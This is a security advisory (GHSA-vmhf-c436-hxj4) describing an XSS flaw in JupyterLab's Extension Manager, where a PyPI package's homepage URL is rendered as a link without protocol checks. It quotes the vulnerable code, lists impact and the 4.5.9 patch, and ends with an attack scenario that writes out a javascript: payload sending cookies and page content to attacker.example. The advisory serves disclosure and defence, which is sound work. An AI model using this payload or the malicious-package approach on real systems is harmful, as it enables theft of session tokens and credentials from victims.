GHSA-vmhf-c436-hxj4: JupyterLab: XSS via malicious PyPI extension URL

A malicious PyPI package can place a `javascript:` URL in its `[project.urls]` metadata. JupyterLab's Extension Manager renders this as the extension's home-page link without validating the protocol, so a user who clicks the extension name executes attacker-controlled JavaScript in the JupyterLab origin. ### Details One of the PyPI package's URL (jupyterlab/extensions/pypi.py) is copied straight into the `homepage_url` rendered by the frontend in packages/extensionmanager/src/widget.tsx#L77-L88. ```python best_guess_home_url = ( homepage_url # home_page / [project.urls] Homepage or data.get("project_url") or data.get("package_url") or documentation_url # docs_url / [project.urls] Documentation or source_url # [project.urls] Source Code or bug_tracker_url # bugtrack_url / [project.urls] Bug Tracker ) # homepage_url=best_guess_home_url ``` ```tsx {entry.homepage_url ? ( <a href={entry.homepage_url} target="_blank" rel="noopener noreferrer" ...> {entry.name} </a> ) : ( <div>{entry.name}</div> )} ``` ### Impact An attacker needs to publish a package to PyPI (no access to the target). When the package appears in a victim's extension manager list and the victim clicks the extension name, the payload runs in the JupyterLab origin. Preconditions: Extension Manager enabled with the default PyPI source, the malicious package appears in the victim's list/search results. ### Patches Patched in [4.5.9](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.9), commits [4e61e07](https://github.com/jupyterlab/jupyterlab/commit/4e61e07d0a91145b53fbf96ac74b0387f6bc51f6) and [d5d961f](https://github.com/jupyterlab/jupyterlab/commit/d5d961f6e10a6442dddbf94d9a976b3897055a12)

An attacker registers a plausible PyPI package — e.g., `jupyterlab-llm-utils` or `jupyterlab-openai-helper` — and sets its `[project.urls]` Homepage field to `javascript:navigator.sendBeacon('https://attacker.example/c',document.cookie+';'+btoa(document.body.innerHTML))`. The package is indexed by PyPI and surfaces in Extension Manager search results for common AI/ML extension queries. A data scientist evaluating extensions for their LLM workflow clicks the package name expecting to visit the project homepage. The payload executes silently in the JupyterLab origin: session tokens are exfiltrated, and a secondary injected script reads all open notebooks — including any LLM API keys, AWS credentials, or database connection strings — and POSTs their base64-encoded contents to the attacker before the victim notices any anomaly.